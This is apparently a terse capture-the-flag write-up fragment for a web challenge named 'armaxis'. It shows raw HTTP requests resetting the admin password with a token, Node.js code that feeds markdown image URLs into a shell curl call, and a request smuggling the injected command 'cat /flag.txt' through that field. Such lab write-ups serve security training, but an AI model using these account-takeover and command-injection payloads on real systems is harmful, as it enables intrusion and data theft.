User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://94.237.55.109:59372/reset-password
Content-Type: application/json
Content-Length: 93
Origin: http://94.237.55.109:59372
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Priority: u=0

{"token":"7415f54df7e69143117fe476458cf28c","newPassword":"asdf","email":"admin@armaxis.htb"}

vuln 2 - command injection with markdown

function parseMarkdown(content) {
    if (!content) return '';
    return md.render(
        content.replace(/\!\[.*?\]\((.*?)\)/g, (match, url) => {
            try {
                const fileContent = execSync(`curl -s ${url}`);
                const base64Content = Buffer.from(fileContent).toString('base64');
                return `<img src="data:image/*;base64,${base64Content}" alt="Embedded Image">`;
            } catch (err) {
                console.error(`Error fetching image from URL ${url}:`, err.message);
                return `<p>Error loading image: ${url}</p>`;
            }
        })
    );
}

POST /weapons/dispatch HTTP/1.1
Host: 94.237.55.109:59372
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://94.237.55.109:59372/weapons/dispatch
Content-Type: application/json
Content-Length: 117
Origin: http://94.237.55.109:59372
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzM0MzI5OTM0LCJleHAiOjE3MzQzMzM1MzR9.h5nyKOuq9WODXwnfMamuDphFkimswj5u1ehCpumjTI0
Priority: u=0

{"name":"asd","price":1,"note":"![asd](http://example.com; cat /flag.txt)","dispatched_to":"admin@armaxis.htb"}

PreviousWeb - The Cyber Jawara International 2024

Last updated 4 months ago